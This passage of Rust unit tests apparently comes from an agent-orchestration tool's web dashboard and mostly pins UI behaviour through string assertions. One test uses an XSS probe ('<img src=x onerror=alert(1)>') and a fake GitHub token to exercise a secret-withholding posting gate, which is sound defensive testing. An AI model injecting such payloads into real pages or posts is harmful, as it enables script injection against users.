19501            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19502        };
19503        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19504        let note = body("function landRoundNote");
19505        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19506        assert!(note.contains("Land round ${round}"));
19507        let land = body("function renderLand");
19508        let note_at = land
19509            .find("landRoundNote(pr)")
19510            .expect("renderLand uses the note");
19511        assert!(
19512            note_at
19513                < land
19514                    .find("roundRail(pr)")
19515                    .expect("renderLand uses the rail")
19516        );
19517    }
19518
19519    #[test]
19520    fn the_runs_page_redesign_keeps_its_guards() {
19521        let body = |name: &str| {
19522            let at = APP_JS
19523                .find(name)
19524                .unwrap_or_else(|| panic!("{name} missing"));
19525            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19526        };
19527        // A null child must never reach the native append (it prints "null").
19528        let land = body("function renderLand");
19529        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19530        assert!(
19531            !land.contains("box.append("),
19532            "renderLand must use append()"
19533        );
19534        assert!(land.contains("append(box, ["));
19535        // Tabs are hash routes; the run id alone decides a reload.
19536        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19537        assert!(
19538            body("function applyRoute")
19539                .contains("route.name !== state.route.name || route.id !== state.route.id")
19540        );
19541        // The decorative diagram is gone, the strip and its guards stay.
19542        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19543        assert!(!INDEX_HTML.contains("advise-converge"));
19544        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19545        assert!(APP_JS.contains("provisional"));
19546        for id in [
19547            "run-tab-overview",
19548            "run-tab-timeline",
19549            "run-tab-report",
19550            "run-report",
19551            "runs-scope",
19552        ] {
19553            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19554        }
19555        assert!(!INDEX_HTML.contains("runs-tree"));
19556        assert!(!INDEX_HTML.contains("run-raw-panel"));
19557        // Fold still says it cannot be resumed.
19558        assert!(APP_JS.contains("resume"));
19559        // The unreadable-runs count stays on the page.
19560        assert!(APP_JS.contains("unreadable"));
19561    }
19562
19563    #[test]
19564    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19565        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19566        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19567        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19568        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19569        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19570        // The subtitle still counts them whatever the banner does.
19571        assert!(APP_JS.contains("unreadable` : null"));
19572    }
19573
19574    #[test]
19575    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19576        let mut state = RunState::new(
19577            "/repo".into(),
19578            "main".into(),
19579            "abc".into(),
19580            "task".into(),
19581            crate::config::Config::default(),
19582        );
19583        state.status = RunStatus::Blocked;
19584        state.gate_ran = true;
19585        state.gate.push(crate::run::CommandOutcome {
19586            command: "cargo make check".into(),
19587            code: Some(1),
19588            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19589            duration_ms: 0,
19590            resource_blocked: false,
19591        });
19592        let view = RunDetailView::of(
19593            state,
19594            false,
19595            crate::run::Liveness::Unknown,
19596            None,
19597            None,
19598            None,
19599        );
19600        let value = serde_json::to_value(view).unwrap();
19601        assert_eq!(
19602            value["stop_reason"],
19603            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19604        );
19605    }
19606
19607    #[test]
19608    fn the_run_detail_payload_says_whether_the_run_is_done() {
19609        // `landView` reads `run.done`; the detail response must carry it.
19610        for (status, done) in [
19611            (RunStatus::Superseded, true),
19612            (RunStatus::Blocked, true),
19613            (RunStatus::Landing, false),
19614        ] {
19615            let mut state = RunState::new(
19616                std::path::PathBuf::from("/repo"),
19617                "main".to_owned(),
19618                "abc".to_owned(),
19619                "x".to_owned(),
19620                crate::config::Config::default(),
19621            );
19622            state.status = status;
19623            let v = serde_json::to_value(RunDetailView::of(
19624                state,
19625                false,
19626                crate::run::Liveness::Unknown,
19627                None,
19628                None,
19629                None,
19630            ))
19631            .unwrap();
19632            assert_eq!(v["done"], done, "{status:?}");
19633        }
19634    }
19635
19636    /// The first node of a markdown block holds a `strong` somewhere.
19637    fn has_strong(nodes: &[md::Node]) -> bool {
19638        serde_json::to_string(nodes).unwrap().contains("strong")
19639    }
19640
19641    #[test]
19642    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19643        let mut state = RunState::new(
19644            std::path::PathBuf::from("/repo"),
19645            "main".to_owned(),
19646            "abc".to_owned(),
19647            "x".to_owned(),
19648            crate::config::Config::default(),
19649        );
19650        let proposal = |approach: &str| {
19651            serde_json::json!({
19652                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19653            })
19654        };
19655        state.advice = Some(
19656            serde_json::from_value(serde_json::json!({
19657                "records": [
19658                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19659                     "proposal": proposal("do **this**")},
19660                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19661                ],
19662                "synthesis": "- one\n- **two**\n\n`code`",
19663            }))
19664            .unwrap(),
19665        );
19666        state.candidates = serde_json::from_value(serde_json::json!([
19667            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19668             "summary": "did **it**"},
19669            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19670        ]))
19671        .unwrap();
19672        // Recorded in ascending severity, the reverse of how the page sorts
19673        // them: the arrays must follow the record, not the display.
19674        state.reviews = serde_json::from_value(serde_json::json!([{
19675            "round": 1, "head": "h",
19676            "reviews": [{
19677                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19678                "findings": [
19679                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
19680                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19681                ],
19682            }],
19683            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19684            "fix": {"agent": "a", "notes": "fixed **it**",
19685                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19686        }, {"round": 2, "head": "h2", "reviews": []}]))
19687        .unwrap();
19688
19689        let v = serde_json::to_value(RunDetailView::of(
19690            state,
19691            false,
19692            crate::run::Liveness::Unknown,
19693            None,
19694            None,
19695            None,
19696        ))
19697        .unwrap();
19698
19699        let strong = |p: &str| {
19700            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19701            assert!(n.to_string().contains("strong"), "{p}: {n}");
19702        };
19703        strong("/advice_md/synthesis");
19704        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19705        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19706        strong("/advice_md/approaches/0");
19707        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19708        strong("/candidate_summaries_md/0");
19709        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19710        strong("/reviews_md/0/reviewers/0/summary");
19711        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19712        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19713        assert!(f[1].to_string().contains("strong"));
19714        strong("/reviews_md/0/reconsideration/0");
19715        strong("/reviews_md/0/fix/notes");
19716        strong("/reviews_md/0/fix/rejected/0");
19717        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19718        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19719        // The raw strings stay, and no schema moved.
19720        assert_eq!(v["candidates"][0]["summary"], "did **it**");
19721        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19722    }
19723
19724    #[test]
19725    fn a_run_without_advice_has_no_advice_md() {
19726        let state = RunState::new(
19727            std::path::PathBuf::from("/repo"),
19728            "main".to_owned(),
19729            "abc".to_owned(),
19730            "x".to_owned(),
19731            crate::config::Config::default(),
19732        );
19733        let p = run_prose_md(&state);
19734        assert!(p.advice_md.is_none());
19735        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19736    }
19737
19738    #[test]
19739    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19740        let store = ask::Questions::at(PathBuf::from("unused"));
19741        let gt = crate::github_text::Withheld {
19742            title: false,
19743            body: true,
19744            categories: vec!["sensitive-data".into()],
19745        };
19746        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19747        let (detail, comparison) =
19748            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19749        let mut q = Question::new(
19750            "r".into(),
19751            "github-text".into(),
19752            "posting-gate".into(),
19753            "s".into(),
19754            detail,
19755            Vec::new(),
19756        );
19757        assert!(
19758            QuestionView::of(q.clone(), &store, None)
19759                .posting_view
19760                .is_none()
19761        );
19762        q.posting_comparison = Some(comparison);
19763        let view = QuestionView::of(q.clone(), &store, None);
19764        let field = &view.posting_view.unwrap().fields[0];
19765        assert_eq!(
19766            field
19767                .original
19768                .iter()
19769                .map(|f| f.text.as_str())
19770                .collect::<String>(),
19771            body
19772        );
19773        assert!(field.original[0].text.starts_with("<img"));
19774        let original_question: Question =
19775            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19776        assert_eq!(original_question, q);
19777        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19778            .original
19779            .start = 1;
19780        assert!(
19781            QuestionView::of(q.clone(), &store, None)
19782                .posting_view
19783                .is_none()
19784        );
19785        q.posting_comparison = original_question.posting_comparison;
19786        q.detail.push_str("extra context");
19787        assert!(
19788            QuestionView::of(q.clone(), &store, None)
19789                .posting_view
19790                .is_some()
19791        );
19792        q.detail.insert(0, 'x');
19793        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19794    }
19795
19796    #[test]
19797    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19798        let store = ask::Questions::at(PathBuf::from("unused"));
19799        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19800        let gt = crate::github_text::Withheld::from_check(
19801            &crate::github_text::check("fix: x", body),
19802            "fix: x",
19803            body,
19804        )
19805        .unwrap();
19806        let (detail, comparison) =
19807            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19808        let mut q = Question::new(
19809            "r".into(),
19810            "github-text".into(),
19811            "posting-gate".into(),
19812            "s".into(),
19813            detail,
19814            Vec::new(),
19815        );
19816        q.posting_comparison = Some(comparison);
19817        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19818        let field = &value["posting_view"]["fields"][0];
19819        let group = &field["replacement_group"];
19820        let triggers = group["triggers"].as_array().unwrap();
19821        assert_eq!(triggers.len(), 2);
19822        assert_ne!(triggers[0], triggers[1]);
19823        for id in triggers {
19824            assert!(
19825                field["original"]
19826                    .as_array()
19827                    .unwrap()
19828                    .iter()
19829                    .any(|f| &f["pair"] == id)
19830            );
19831            assert!(
19832                !field["changed"]
19833                    .as_array()
19834                    .unwrap()
19835                    .iter()
19836                    .any(|f| &f["pair"] == id)
19837            );
19838        }
19839        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19840            group["id"].as_u64().unwrap() as usize;
19841        assert!(
19842            QuestionView::of(q, &store, None).posting_view.is_none(),
19843            "group and trigger IDs cannot collide"
19844        );
19845    }
19846
19847    #[test]
19848    fn a_question_view_carries_markdown_for_each_thread_turn() {
19849        let home = TempDir::new().unwrap();
19850        let store = ask::Questions::at(home.path().join("questions"));
19851        let mut q = Question::new(
19852            "run".to_owned(),
19853            "implement".to_owned(),
19854            "impl-A".to_owned(),
19855            "which?".to_owned(),
19856            String::new(),
19857            Vec::new(),
19858        );
19859        q.say("plain words").unwrap();
19860        q.reply("use **this**", Vec::new()).unwrap();
19861        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19862        let bodies = &v["thread_bodies_md"];
19863        assert_eq!(bodies.as_array().unwrap().len(), 2);
19864        assert!(!bodies[0].to_string().contains("strong"));
19865        assert!(bodies[1].to_string().contains("strong"));
19866    }
19867
19868    #[test]
19869    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19870        let home = TempDir::new().unwrap();
19871        let store = ask::Questions::at(home.path().join("questions"));
19872        let mut q = Question::new(
19873            "run".to_owned(),
19874            "conduct".to_owned(),
19875            "conduct".to_owned(),
19876            "which?".to_owned(),
19877            String::new(),
19878            Vec::new(),
19879        );
19880        q.say("plain words").unwrap();
19881        q.thread.push(ask::Turn {
19882            who: ask::Who::Agent,
19883            body: "Settled as `merge`".to_owned(),
19884            at: jiff::Timestamp::now(),
19885            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19886        });
19887        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19888        let notes = &v["thread_notes_md"];
19889        assert_eq!(notes.as_array().unwrap().len(), 2);
19890        assert!(notes[0].is_null());
19891        let text = notes[1].to_string();
19892        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19893        assert!(APP_JS.contains("ask-turn-note"));
19894    }
19895
19896    #[test]
19897    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19898        // The land panel defers to `run.status` for merged, and labels a
19899        // recorded-open PR on any finished run (superseded, blocked, ...) as
19900        // last seen, never as live state.
19901        assert!(APP_JS.contains("function landView(run, raw) {"));
19902        assert!(
19903            APP_JS.contains(
19904                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19905            )
19906        );
19907        assert!(APP_JS.contains("const pr = landView(run, raw);"));
19908        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19909        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19910        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19911    }
19912
19913    #[test]
19914    fn live_runs_are_never_hidden_or_folded_as_superseded() {
19915        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
19916        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19917        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19918        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19919    }
19920
19921    #[test]
19922    fn review_rounds_label_a_distinct_verified_head() {
19923        assert!(APP_JS.contains("round.verified_head"));
19924        assert!(APP_JS.contains("verified HEAD"));
19925        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19926    }
19927
19928    #[test]
19929    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19930        // A blocked task's chip and note must not fall back to a queued-like
19931        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
19932        // itself by e11fc58 but never checked here.
19933        assert!(APP_JS.contains("blocked: { glyph:"));
19934        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19935
19936        // `blocked_by` mixes task ids and question ids in the same list, and
19937        // the client can only tell them apart by checking each id against
19938        // what it actually knows - never by guessing from the id's shape.
19939        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19940        assert!(
19941            APP_JS.contains(
19942                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19943            ),
19944            "the note line must name what a blocked task is waiting on, not just that it is blocked"
19945        );
19946        // The classification must key off `status_str`, never off `blocked_by`
19947        // or `block_reason` merely being present - both can survive briefly
19948        // on a task a hold or a dead daemon just moved off `blocked`.
19949        assert!(APP_JS.contains("if (status === \"blocked\") {"));
19950
19951        // A question a task is blocked on gets its own node in the same
19952        // dependency graph, not just a task-shaped node with nothing known
19953        // about it.
19954        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19955        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19956        assert!(
19957            APP_JS.contains("location.hash = \"#/questions\";"),
19958            "a question node must jump to the Questions screen, not pretend to be a task"
19959        );
19960
19961        // `Task::answers` - decisions already made - are shown as a record on
19962        // the card, the same disclosure style as the full instruction.
19963        assert!(APP_JS.contains("Resolved questions"));
19964        assert!(APP_JS.contains("r.answersList.append("));
19965        assert!(APP_CSS.contains(".task-answers"));
19966        {
19967            let start = APP_JS
19968                .find("function updateTalkTaskRow")
19969                .expect("updateTalkTaskRow");
19970            let body = &APP_JS[start..];
19971            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19972            assert!(
19973                body.contains(
19974                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19975                ),
19976                "a chat-filed task row must link to the task page"
19977            );
19978            assert!(
19979                !body.contains("#/runs/") && !body.contains("#/queue/"),
19980                "the row must not branch to a run or the queue card"
19981            );
19982            assert!(APP_CSS.contains(".talk-task-link"));
19983        }
19984    }
19985
19986    #[test]
19987    fn a_task_notification_links_to_the_task_page() {
19988        // A task notice opens the task detail page, not the Backlog card.
19989        let start = APP_JS
19990            .find("function noticeLink(")
19991            .expect("noticeLink exists");
19992        let body = &APP_JS[start..];
19993        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19994        assert!(
19995            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19996            "a task notice's link must target the task page"
19997        );
19998        assert!(
19999            !body.contains("#/queue/"),
20000            "regression: the task link must not go back to the Backlog route"
20001        );
20002        assert!(
20003            APP_JS.contains(
20004                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20005            ),
20006            "`#/tasks/<id>` must parse into the task route"
20007        );
20008
20009        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20010        assert!(
20011            APP_JS.contains(
20012                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20013            ),
20014            "`#/queue/<id>` must parse into a route carrying that id"
20015        );
20016
20017        // And the Backlog view has to actually land on the card once it can
20018        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20019        // so a focus set before the queue has loaded is retried once it has.
20020        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20021        assert!(APP_JS.contains("function consumeQueueFocus()"));
20022        assert!(APP_JS.contains("jumpToTask(id)"));
20023    }
20024
20025    #[test]
20026    fn notifications_distinguish_actionable_questions_from_informational_notices() {
20027        let start = APP_JS
20028            .find("function noticeCoveredBy(")
20029            .expect("noticeCoveredBy exists");
20030        let body = &APP_JS[start..];
20031        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20032
20033        // Historical associations are informational, even for open questions.
20034        assert!(body.contains("Associated question ${short}"));
20035        assert!(!body.contains("el(\"a\""));
20036
20037        // A resolved question displays status rather than an actionable link
20038        assert!(body.contains("(resolved)"));
20039        assert!(body.contains("(closed)"));
20040
20041        let start = APP_JS
20042            .find("function renderNotifications()")
20043            .expect("renderNotifications exists");
20044        let body = &APP_JS[start..];
20045        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20046
20047        // Only a server-resolved answerable question supplies a response link.
20048        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20049        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20050        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20051        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20052    }
20053
20054    /// Chat rows are two lines at every width: the title alone, then the
20055    /// shrinkable secondary info.
20056    #[test]
20057    fn chat_rows_put_the_title_alone_on_the_first_line() {
20058        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20059        assert!(APP_CSS.contains(
20060            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20061        ));
20062        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20063        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20064    }
20065
20066    #[test]
20067    fn run_rows_put_the_title_alone_on_the_first_line() {
20068        assert!(
20069            APP_CSS.contains(
20070                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20071            )
20072        );
20073        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20074        assert!(APP_JS.contains("class: \"card run-card\""));
20075        assert!(APP_JS.contains("class: \"repo run-id\""));
20076    }
20077
20078    /// Wide screens get a master/detail layout built from the views a phone
20079    /// drills into. These are string assertions: they pin the contract between
20080    /// the three assets, not how it looks.
20081    #[test]
20082    fn wide_screens_show_list_and_preview_side_by_side() {
20083        // One breakpoint, spelled the same in the script and the stylesheet.
20084        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20085        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20086        assert!(APP_CSS.contains("main[data-split]"));
20087        assert!(APP_CSS.contains("body[data-split]"));
20088
20089        // The route -> panes table, and a narrow screen opting out of it.
20090        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20091        assert!(
20092            APP_JS.contains(
20093                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20094            )
20095        );
20096        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20097        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20098        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20099
20100        // Selection is derived from the route, and only ever paints a row.
20101        assert!(APP_JS.contains("function markSelected() {"));
20102        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20103        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20104        // The dense row must override the stacked card the 720px block sets up.
20105        assert!(
20106            APP_CSS.contains(
20107                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20108            )
20109        );
20110
20111        // Independent scrolling: the page stops scrolling, each pane does.
20112        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20113        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20114        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20115        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20116
20117        // A refresh must never navigate: the loaders still check that their
20118        // subject is the one on screen, and crossing the breakpoint only
20119        // re-reads the hash.
20120        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20121        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20122        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20123        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20124
20125        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20126        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20127    }
20128
20129    #[test]
20130    fn panel_sandbox_carries_exactly_popups() {
20131        let needle = "sandbox: \"";
20132        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20133        assert_eq!(
20134            matches.len(),
20135            1,
20136            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20137        );
20138        let start = matches[0].0 + needle.len();
20139        let end = APP_JS[start..]
20140            .find('"')
20141            .expect("sandbox attribute value must be terminated by a closing quote");
20142        let val = &APP_JS[start..start + end];
20143        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20144        let expected: std::collections::BTreeSet<&str> =
20145            ["allow-popups", "allow-popups-to-escape-sandbox"]
20146                .into_iter()
20147                .collect();
20148        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20149        assert!(
20150            !tokens.contains("allow-scripts"),
20151            "allow-scripts must never be present in sandbox"
20152        );
20153        assert!(
20154            !tokens.contains("allow-same-origin"),
20155            "allow-same-origin must never be present in sandbox"
20156        );
20157    }
20158
20159    #[test]
20160    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20161        // consumeQueueFocus() clears an active Backlog search before it can
20162        // scroll to the target card (the sections list is hidden while a
20163        // search is showing), by recursing back into renderQueue(). The
20164        // fixer's first cut nulled state.queueFocus before that recursive
20165        // call, so the second pass saw nothing to jump to and the jump was
20166        // silently dropped whenever a notification's link was opened with a
20167        // stale search still active. state.queueFocus must only be cleared
20168        // right before jumpToTask() actually runs.
20169        assert!(
20170            APP_JS.contains(
20171                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20172            ),
20173            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20174             recursive renderQueue() call has nothing left to jump to"
20175        );
20176        assert!(
20177            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20178            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20179             arrives later still gets it"
20180        );
20181        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20182        assert!(APP_JS.contains("is not in the current Backlog."));
20183        assert!(APP_JS.contains("li.card[data-task-id=\""));
20184        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20185        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20186        assert!(APP_CSS.contains(".card-permalink"));
20187        assert!(APP_CSS.contains(".queue-focus-status"));
20188        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20189    }
20190
20191    #[test]
20192    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20193        // The task's own repro: only the link text inside .notice-meta was
20194        // clickable, so a tap on the message, the timestamp, or the card's
20195        // padding did nothing - on a phone that reads as "the card doesn't
20196        // work" even though the tiny link inside it did. Mark read / Dismiss
20197        // must keep working independently of this: `.closest("a, button")`
20198        // is what lets a tap that actually lands on those elements fall
20199        // through instead of being hijacked into a navigation.
20200        assert!(
20201            APP_JS.contains(
20202                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20203            ),
20204            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20205        );
20206    }
20207
20208    #[test]
20209    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20210        assert!(
20211            APP_JS.contains("round.verified_head !== round.head"),
20212            "a round that verified an earlier commit must be visibly distinct from one that \
20213             verified the head reviewers are looking at now"
20214        );
20215        assert!(
20216            APP_JS.contains("round.verified_at"),
20217            "when a check ran must be on the wire, not just which commit"
20218        );
20219        assert!(
20220            APP_JS.contains("resource_blocked"),
20221            "a command magi never got to run (shared build cache contention) must not render \
20222             the same as a command that ran and failed"
20223        );
20224    }
20225
20226    #[test]
20227    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20228        // Every KPI tile but Total runs and Completion names an exact
20229        // RunStatus and hands it to openRunsFiltered(), which is what wires
20230        // the click into state.runsFilter.status (matchesFilter's own
20231        // status check) rather than the coarser runsStateFilter chips. Each
20232        // status literal here must be one of the strings runSection() (and
20233        // isStale()) actually compare a run's own `status` field against -
20234        // a status this dashboard invented would filter to nothing.
20235        assert!(
20236            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20237            "every KPI tile built through statusTile() must route its click through \
20238             openRunsFiltered, the single place that sets the Runs filter"
20239        );
20240        for (label, status) in [
20241            ("Merged", "merged"),
20242            ("Ready", "ready"),
20243            ("Blocked", "blocked"),
20244            ("Stalled", "stalled"),
20245        ] {
20246            let call = format!("statusTile(\"{label}\", t.{status}, ");
20247            assert!(
20248                APP_JS.contains(&call),
20249                "expected the {label} KPI tile built via {call}..."
20250            );
20251            assert!(
20252                APP_JS.contains(&format!("status === \"{status}\"")),
20253                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20254                 compare a run against, not one invented only for the stats tile"
20255            );
20256        }
20257        assert!(
20258            APP_JS.contains("function openRunsFiltered(status)"),
20259            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20260        );
20261        assert!(
20262            APP_JS.contains(
20263                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20264            ),
20265            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20266        );
20267        // applyRoute() only flips which view is visible for a plain `#runs`
20268        // hash - it does not itself redraw the list (see applyRoute's own
20269        // handling below) - so openRunsFiltered must call renderRuns()
20270        // itself, and must call applyRoute() too so the view flips even
20271        // when the hash string doesn't change (the operator may already be
20272        // on the Runs view when a tile is tapped, which fires no
20273        // hashchange event at all).
20274        assert!(
20275            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
20276            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20277             hashchange event that may never fire"
20278        );
20279    }
20280
20281    #[test]
20282    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20283        // A stats tile can leave state.runsFilter.status set to something
20284        // done-by-construction (e.g. "merged") - picking "Active" afterward
20285        // must drop it the same way an incompatible tree section is already
20286        // dropped, or the Runs list renders permanently empty with no way
20287        // for the operator to tell why.
20288        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20289        assert!(
20290            APP_JS.contains(
20291                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
20292            ),
20293            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20294             guard for an incompatible tree section"
20295        );
20296    }
20297
20298    #[test]
20299    fn every_stats_queue_tile_names_a_real_queue_section() {
20300        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
20301        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
20302        // (consumeQueueSectionFocus finds no matching <details> and drops
